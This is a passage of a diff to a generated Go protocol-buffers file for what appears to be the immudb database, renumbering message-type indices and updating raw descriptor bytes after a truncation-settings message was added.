protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[103] + mi := &file_schema_proto_msgTypes[104] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7325,7 +7373,7 @@ func (x *UseSnapshotRequest) String() string { func (*UseSnapshotRequest) ProtoMessage() {} func (x *UseSnapshotRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[103] + mi := &file_schema_proto_msgTypes[104] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7338,7 +7386,7 @@ func (x *UseSnapshotRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use UseSnapshotRequest.ProtoReflect.Descriptor instead. func (*UseSnapshotRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{103} + return file_schema_proto_rawDescGZIP(), []int{104} } func (x *UseSnapshotRequest) GetSinceTx() uint64 { @@ -7371,7 +7419,7 @@ type SQLExecRequest struct { func (x *SQLExecRequest) Reset() { *x = SQLExecRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[104] + mi := &file_schema_proto_msgTypes[105] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7384,7 +7432,7 @@ func (x *SQLExecRequest) String() string { func (*SQLExecRequest) ProtoMessage() {} func (x *SQLExecRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[104] + mi := &file_schema_proto_msgTypes[105] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7397,7 +7445,7 @@ func (x *SQLExecRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use SQLExecRequest.ProtoReflect.Descriptor instead. func (*SQLExecRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{104} + return file_schema_proto_rawDescGZIP(), []int{105} } func (x *SQLExecRequest) GetSql() string { @@ -7437,7 +7485,7 @@ type SQLQueryRequest struct { func (x *SQLQueryRequest) Reset() { *x = SQLQueryRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[105] + mi := &file_schema_proto_msgTypes[106] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7450,7 +7498,7 @@ func (x *SQLQueryRequest) String() string { func (*SQLQueryRequest) ProtoMessage() {} func (x *SQLQueryRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[105] + mi := &file_schema_proto_msgTypes[106] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7463,7 +7511,7 @@ func (x *SQLQueryRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use SQLQueryRequest.ProtoReflect.Descriptor instead. func (*SQLQueryRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{105} + return file_schema_proto_rawDescGZIP(), []int{106} } func (x *SQLQueryRequest) GetSql() string { @@ -7501,7 +7549,7 @@ type NamedParam struct { func (x *NamedParam) Reset() { *x = NamedParam{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[106] + mi := &file_schema_proto_msgTypes[107] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7514,7 +7562,7 @@ func (x *NamedParam) String() string { func (*NamedParam) ProtoMessage() {} func (x *NamedParam) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[106] + mi := &file_schema_proto_msgTypes[107] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7527,7 +7575,7 @@ func (x *NamedParam) ProtoReflect() protoreflect.Message { // Deprecated: Use NamedParam.ProtoReflect.Descriptor instead. func (*NamedParam) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{106} + return file_schema_proto_rawDescGZIP(), []int{107} } func (x *NamedParam) GetName() string { @@ -7558,7 +7606,7 @@ type SQLExecResult struct { func (x *SQLExecResult) Reset() { *x = SQLExecResult{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[107] + mi := &file_schema_proto_msgTypes[108] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7571,7 +7619,7 @@ func (x *SQLExecResult) String() string { func (*SQLExecResult) ProtoMessage() {} func (x *SQLExecResult) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[107] + mi := &file_schema_proto_msgTypes[108] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7584,7 +7632,7 @@ func (x *SQLExecResult) ProtoReflect() protoreflect.Message { // Deprecated: Use SQLExecResult.ProtoReflect.Descriptor instead. func (*SQLExecResult) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{107} + return file_schema_proto_rawDescGZIP(), []int{108} } func (x *SQLExecResult) GetTxs() []*CommittedSQLTx { @@ -7619,7 +7667,7 @@ type CommittedSQLTx struct { func (x *CommittedSQLTx) Reset() { *x = CommittedSQLTx{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[108] + mi := &file_schema_proto_msgTypes[109] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7632,7 +7680,7 @@ func (x *CommittedSQLTx) String() string { func (*CommittedSQLTx) ProtoMessage() {} func (x *CommittedSQLTx) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[108] + mi := &file_schema_proto_msgTypes[109] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7645,7 +7693,7 @@ func (x *CommittedSQLTx) ProtoReflect() protoreflect.Message { // Deprecated: Use CommittedSQLTx.ProtoReflect.Descriptor instead. func (*CommittedSQLTx) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{108} + return file_schema_proto_rawDescGZIP(), []int{109} } func (x *CommittedSQLTx) GetHeader() *TxHeader { @@ -7690,7 +7738,7 @@ type SQLQueryResult struct { func (x *SQLQueryResult) Reset() { *x = SQLQueryResult{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[109] + mi := &file_schema_proto_msgTypes[110] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7703,7 +7751,7 @@ func (x *SQLQueryResult) String() string { func (*SQLQueryResult) ProtoMessage() {} func (x *SQLQueryResult) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[109] + mi := &file_schema_proto_msgTypes[110] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7716,7 +7764,7 @@ func (x *SQLQueryResult) ProtoReflect() protoreflect.Message { // Deprecated: Use SQLQueryResult.ProtoReflect.Descriptor instead. func (*SQLQueryResult) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{109} + return file_schema_proto_rawDescGZIP(), []int{110} } func (x *SQLQueryResult) GetColumns() []*Column { @@ -7747,7 +7795,7 @@ type Column struct { func (x *Column) Reset() { *x = Column{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[110] + mi := &file_schema_proto_msgTypes[111] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7760,7 +7808,7 @@ func (x *Column) String() string { func (*Column) ProtoMessage() {} func (x *Column) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[110] + mi := &file_schema_proto_msgTypes[111] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7773,7 +7821,7 @@ func (x *Column) ProtoReflect() protoreflect.Message { // Deprecated: Use Column.ProtoReflect.Descriptor instead. func (*Column) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{110} + return file_schema_proto_rawDescGZIP(), []int{111} } func (x *Column) GetName() string { @@ -7804,7 +7852,7 @@ type Row struct { func (x *Row) Reset() { *x = Row{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[111] + mi := &file_schema_proto_msgTypes[112] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7817,7 +7865,7 @@ func (x *Row) String() string { func (*Row) ProtoMessage() {} func (x *Row) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[111] + mi := &file_schema_proto_msgTypes[112] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7830,7 +7878,7 @@ func (x *Row) ProtoReflect() protoreflect.Message { // Deprecated: Use Row.ProtoReflect.Descriptor instead. func (*Row) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{111} + return file_schema_proto_rawDescGZIP(), []int{112} } func (x *Row) GetColumns() []string { @@ -7865,7 +7913,7 @@ type SQLValue struct { func (x *SQLValue) Reset() { *x = SQLValue{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[112] + mi := &file_schema_proto_msgTypes[113] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7878,7 +7926,7 @@ func (x *SQLValue) String() string { func (*SQLValue) ProtoMessage() {} func (x *SQLValue) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[112] + mi := &file_schema_proto_msgTypes[113] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7891,7 +7939,7 @@ func (x *SQLValue) ProtoReflect() protoreflect.Message { // Deprecated: Use SQLValue.ProtoReflect.Descriptor instead. func (*SQLValue) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{112} + return file_schema_proto_rawDescGZIP(), []int{113} } func (m *SQLValue) GetValue() isSQLValue_Value { @@ -8000,7 +8048,7 @@ type NewTxRequest struct { func (x *NewTxRequest) Reset() { *x = NewTxRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[113] + mi := &file_schema_proto_msgTypes[114] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8013,7 +8061,7 @@ func (x *NewTxRequest) String() string { func (*NewTxRequest) ProtoMessage() {} func (x *NewTxRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[113] + mi := &file_schema_proto_msgTypes[114] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8026,7 +8074,7 @@ func (x *NewTxRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use NewTxRequest.ProtoReflect.Descriptor instead. func (*NewTxRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{113} + return file_schema_proto_rawDescGZIP(), []int{114} } func (x *NewTxRequest) GetMode() TxMode { @@ -8062,7 +8110,7 @@ type NewTxResponse struct { func (x *NewTxResponse) Reset() { *x = NewTxResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[114] + mi := &file_schema_proto_msgTypes[115] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8075,7 +8123,7 @@ func (x *NewTxResponse) String() string { func (*NewTxResponse) ProtoMessage() {} func (x *NewTxResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[114] + mi := &file_schema_proto_msgTypes[115] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8088,7 +8136,7 @@ func (x *NewTxResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use NewTxResponse.ProtoReflect.Descriptor instead. func (*NewTxResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{114} + return file_schema_proto_rawDescGZIP(), []int{115} } func (x *NewTxResponse) GetTransactionID() string { @@ -8112,7 +8160,7 @@ type ErrorInfo struct { func (x *ErrorInfo) Reset() { *x = ErrorInfo{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[115] + mi := &file_schema_proto_msgTypes[116] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8125,7 +8173,7 @@ func (x *ErrorInfo) String() string { func (*ErrorInfo) ProtoMessage() {} func (x *ErrorInfo) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[115] + mi := &file_schema_proto_msgTypes[116] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8138,7 +8186,7 @@ func (x *ErrorInfo) ProtoReflect() protoreflect.Message { // Deprecated: Use ErrorInfo.ProtoReflect.Descriptor instead. func (*ErrorInfo) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{115} + return file_schema_proto_rawDescGZIP(), []int{116} } func (x *ErrorInfo) GetCode() string { @@ -8167,7 +8215,7 @@ type DebugInfo struct { func (x *DebugInfo) Reset() { *x = DebugInfo{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[116] + mi := &file_schema_proto_msgTypes[117] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8180,7 +8228,7 @@ func (x *DebugInfo) String() string { func (*DebugInfo) ProtoMessage() {} func (x *DebugInfo) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[116] + mi := &file_schema_proto_msgTypes[117] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8193,7 +8241,7 @@ func (x *DebugInfo) ProtoReflect() protoreflect.Message { // Deprecated: Use DebugInfo.ProtoReflect.Descriptor instead. func (*DebugInfo) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{116} + return file_schema_proto_rawDescGZIP(), []int{117} } func (x *DebugInfo) GetStack() string { @@ -8215,7 +8263,7 @@ type RetryInfo struct { func (x *RetryInfo) Reset() { *x = RetryInfo{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[117] + mi := &file_schema_proto_msgTypes[118] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8228,7 +8276,7 @@ func (x *RetryInfo) String() string { func (*RetryInfo) ProtoMessage() {} func (x *RetryInfo) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[117] + mi := &file_schema_proto_msgTypes[118] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8241,7 +8289,7 @@ func (x *RetryInfo) ProtoReflect() protoreflect.Message { // Deprecated: Use RetryInfo.ProtoReflect.Descriptor instead. func (*RetryInfo) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{117} + return file_schema_proto_rawDescGZIP(), []int{118} } func (x *RetryInfo) GetRetryDelay() int32 { @@ -8265,7 +8313,7 @@ type TruncateDatabaseRequest struct { func (x *TruncateDatabaseRequest) Reset() { *x = TruncateDatabaseRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[118] + mi := &file_schema_proto_msgTypes[119] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8278,7 +8326,7 @@ func (x *TruncateDatabaseRequest) String() string { func (*TruncateDatabaseRequest) ProtoMessage() {} func (x *TruncateDatabaseRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[118] + mi := &file_schema_proto_msgTypes[119] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8291,7 +8339,7 @@ func (x *TruncateDatabaseRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use TruncateDatabaseRequest.ProtoReflect.Descriptor instead. func (*TruncateDatabaseRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{118} + return file_schema_proto_rawDescGZIP(), []int{119} } func (x *TruncateDatabaseRequest) GetDatabase() string { @@ -8320,7 +8368,7 @@ type TruncateDatabaseResponse struct { func (x *TruncateDatabaseResponse) Reset() { *x = TruncateDatabaseResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[119] + mi := &file_schema_proto_msgTypes[120] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8333,7 +8381,7 @@ func (x *TruncateDatabaseResponse) String() string { func (*TruncateDatabaseResponse) ProtoMessage() {} func (x *TruncateDatabaseResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[119] + mi := &file_schema_proto_msgTypes[120] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8346,7 +8394,7 @@ func (x *TruncateDatabaseResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use TruncateDatabaseResponse.ProtoReflect.Descriptor instead. func (*TruncateDatabaseResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{119} + return file_schema_proto_rawDescGZIP(), []int{120} } func (x *TruncateDatabaseResponse) GetDatabase() string { @@ -8369,7 +8417,7 @@ type Precondition_KeyMustExistPrecondition struct { func (x *Precondition_KeyMustExistPrecondition) Reset() { *x = Precondition_KeyMustExistPrecondition{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[120] + mi := &file_schema_proto_msgTypes[121] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8382,7 +8430,7 @@ func (x *Precondition_KeyMustExistPrecondition) String() string { func (*Precondition_KeyMustExistPrecondition) ProtoMessage() {} func (x *Precondition_KeyMustExistPrecondition) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[120] + mi := &file_schema_proto_msgTypes[121] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8418,7 +8466,7 @@ type Precondition_KeyMustNotExistPrecondition struct { func (x *Precondition_KeyMustNotExistPrecondition) Reset() { *x = Precondition_KeyMustNotExistPrecondition{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[121] + mi := &file_schema_proto_msgTypes[122] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8431,7 +8479,7 @@ func (x *Precondition_KeyMustNotExistPrecondition) String() string { func (*Precondition_KeyMustNotExistPrecondition) ProtoMessage() {} func (x *Precondition_KeyMustNotExistPrecondition) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[121] + mi := &file_schema_proto_msgTypes[122] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8469,7 +8517,7 @@ type Precondition_KeyNotModifiedAfterTXPrecondition struct { func (x *Precondition_KeyNotModifiedAfterTXPrecondition) Reset() { *x = Precondition_KeyNotModifiedAfterTXPrecondition{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[122] + mi := &file_schema_proto_msgTypes[123] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8482,7 +8530,7 @@ func (x *Precondition_KeyNotModifiedAfterTXPrecondition) String() string { func (*Precondition_KeyNotModifiedAfterTXPrecondition) ProtoMessage() {} func (x *Precondition_KeyNotModifiedAfterTXPrecondition) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[122] + mi := &file_schema_proto_msgTypes[123] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9157,7 +9205,7 @@ var file_schema_proto_rawDesc = []byte{ 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x2c, 0x0a, 0x14, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x22, 0x95, 0x0e, 0x0a, 0x18, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x6c, 0x75, 0x65, 0x22, 0xca, 0x0d, 0x0a, 0x18, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x5c, 0x0a, 0x13, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2a, 0x2e, @@ -9260,882 +9308,889 @@ var file_schema_proto_rawDesc = []byte{ 0x65, 0x18, 0x1c, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, 0x76, 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, - 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x4d, 0x0a, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, - 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x1d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, - 0x6e, 0x64, 0x73, 0x52, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, - 0x72, 0x69, 0x6f, 0x64, 0x12, 0x55, 0x0a, 0x13, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x1e, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, - 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x13, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x22, 0xb4, 0x06, 0x0a, 0x1b, - 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x35, 0x0a, 0x07, 0x72, - 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, - 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, - 0x63, 0x61, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, - 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x70, - 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, + 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x59, 0x0a, 0x12, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x1d, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x29, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, + 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x12, 0x74, 0x72, + 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, + 0x22, 0xb4, 0x06, 0x0a, 0x1b, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, + 0x12, 0x35, 0x0a, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x07, + 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, + 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, - 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x3f, 0x0a, 0x0b, - 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 